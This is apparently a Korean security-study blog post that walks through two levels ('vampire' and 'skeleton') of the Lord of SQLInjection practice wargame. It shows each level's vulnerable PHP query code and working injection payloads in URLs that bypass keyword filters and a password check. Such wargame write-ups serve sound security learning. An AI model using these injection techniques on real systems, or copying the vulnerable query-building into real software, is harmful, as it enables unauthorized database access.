보안공부/워게임

lordofsql: vampire, skeleton

mint* 2021. 7. 30. 17:07
728x90

코드

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~"); // '이면 걸림
  
$_GET[id] = strtolower($_GET[id]); // 소문자로 바꿔주기
  
$_GET[id] = str_replace("admin","",$_GET[id]); //admin을 없애준다.
  
$query "select id from prob_vampire where id='{$_GET[id]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id'] == 'admin'solve("vampire"); //admin일때 풀린다
  
highlight_file(__FILE__); 
?>

https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adadminmin 

 

https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adadminmin

 

los.rubiya.kr

쉬워 !!!

 

skeleton

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

prob _ . \ 대소문자 상관없게 를 막아놓았다. 
  
$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";

1=0은 false이므로 뭘 하든 false로 뜰 것이다. 
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id'] == 'admin'solve("skeleton");  //admin일때 풀린다.
  
highlight_file(__FILE__); 
?>

우선 admin으로 로그인해야한다.

"select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";

"select id from prob_skeleton where id='guest' and pw='        ' and 1=0";

                                                                          'or'1'

그럼 뒤에를 무시하면 되겠다. 

왜 안되지

"select id from prob_skeleton where id='guest' and pw='' or '1' --' and 1=0";

아 주석 뒤에는 공백이 있어야 한다.

그냥 띄어주면 공백을 먹으니까 %20을 써주자

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw='or'1' --%20 

 

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or%271%27%20--%20

 

los.rubiya.kr

왜 Hello guest가 안뜨지 (지금 생각해보니 트릭인듯 ;;)

여러가지 주석 방법

https://bluehatsecurity.tistory.com/225

 

SQL Injection에서 주로 쓰이는 주석

1. # 주소에서는 %23 으로 바뀐다. 해당 질의문에서 한 줄만 주석처리 한다. 예를 들어 멀티라인에서 첫번째줄에 #이 들어있고 두번째, 세번째에는 없을 경우 첫번째에서만 # 뒤의 문자열이 주석처

bluehatsecurity.tistory.com

;%00을 쓰면 뒷 부분 한 줄은 다 주석이 된다고 한다.

우선 id='admin'까지 하고 다시 생각해보자

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw='or'1' and id='admin' ;%00 

 

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or%271%27%20and%20id=%27admin%27%20;%00

 

los.rubiya.kr

클리어!

 

728x90